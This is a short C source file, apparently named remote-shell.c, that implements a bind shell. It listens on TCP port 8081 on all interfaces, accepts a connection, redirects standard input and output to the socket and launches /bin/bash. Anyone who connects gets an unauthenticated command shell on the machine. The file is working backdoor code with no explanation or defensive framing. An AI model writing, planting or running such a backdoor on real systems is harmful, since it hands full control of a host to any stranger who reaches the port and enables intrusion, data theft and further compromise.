remote-shell.c

#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>

int main() {
    int listenfd = socket(AF_INET, SOCK_STREAM, 0);
    setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int));

    struct sockaddr_in servaddr;
    memset(&servaddr, 0, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
    servaddr.sin_port = htons(8081);

    bind(listenfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
    listen(listenfd, 0);

    int fd = accept(listenfd, 0, 0);
    dup2(fd, 0);
    dup2(fd, 1);
    dup2(fd, 2);
    if (fork() == 0)
        execl("/bin/bash", "-bash", 0);

    return 0;
}